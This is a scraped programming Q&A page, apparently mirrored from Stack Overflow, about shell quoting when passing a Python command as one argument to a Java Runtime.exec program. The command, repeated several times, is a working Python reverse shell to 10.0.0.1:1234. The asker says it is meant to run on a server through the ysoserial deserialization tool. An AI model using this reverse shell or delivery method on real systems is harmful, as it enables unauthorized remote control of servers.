【问题标题】:Passing Python statements as command line args to Java program将 Python 语句作为命令行参数传递给 Java 程序
【发布时间】:2017-03-21 01:29:53
【问题描述】:

鉴于以下java 代码,我如何将以下python 语句作为参数传递给java 代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

java代码:

import java.io.*;
public class Exec {

    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec(args[0]);
        byte[] b = new byte[1];

        while (p.getErrorStream().read(b) > 0)
            System.out.write(b);
        while (p.getInputStream().read(b) > 0)
            System.out.write(b);
    }
}

我使用以下方式执行 java 代码:

java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

但它会抛出syntax error near unexpected token('`。如果我在开头和结尾使用双引号

java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

它抛出:

  File "<string>", line 1
    'import
          ^
SyntaxError: EOL while scanning string literal

非常感谢任何帮助。

【问题讨论】:

    标签: java python-2.7 cmdline-args


    【解决方案1】:

    正如您所指出的,这很令人困惑。您试图将所有内容作为一个参数传递,并且引用变得困难。如果您需要显式参数,我认为您必须将三个参数传递给您的 Java 程序,即:

    1. 蟒蛇
    2. -c
    3. 适当引用的完整脚本

    例如

    java Exec python -c "script quoted and escaped properly"
    

    但也许你可以通过运行 'python' 和 passing the name of the file containing your script? 来规避它(为什么你需要指定 'python' 和 '-c' - 可以在你的程序中硬编码吗?)

    不过,从根本上说,您为什么要使用 Java 来执行 Python 程序来生成 bash shell?如果您在 Java 平台上,我会看看如何实现您真正想要的,而不必使用不同的技术派生子进程。

    【讨论】:

    • 我将所有内容都作为一个参数传递是有原因的。我编写的java 代码是一个示例代码,它在某种程度上模仿了第 3 方 JAR 文件中的代码。第 3 方 JAR 需要 java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' - 这里要执行的命令是以 python -c ... 开头的。
    • 感谢布赖恩的回答。这样做的原因是-我希望 python 代码由服务器上的 java 代码执行(由 3rd 方 jar)。
    猜你喜欢
    • 1970-01-01
    • 2012-12-21
    • 1970-01-01
    • 1970-01-01
    • 2017-07-26
    • 2014-04-27
    • 2010-10-04
    • 1970-01-01
    相关资源
    最近更新 更多